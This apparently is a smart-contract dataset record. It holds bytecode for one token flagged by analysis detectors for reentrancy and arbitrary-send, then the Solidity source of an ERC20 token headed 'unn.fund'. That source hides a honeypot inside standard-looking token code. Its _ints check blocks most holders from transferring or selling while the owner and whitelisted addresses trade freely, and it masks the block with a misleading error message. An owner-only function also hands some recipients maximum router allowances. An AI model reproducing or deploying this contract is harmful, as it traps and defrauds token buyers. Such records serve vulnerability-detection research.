ffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d4f4e5354455200000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205fb3f1c68b7b0ed3133a4ec91075665dc5850b2def76100a3fd842014364dfad64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,016 |
0xd94c9e02747757dfe41fbc3716360e34ccb9a1a3
|
//------------------------------------------
//unn.fund
//------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad05761010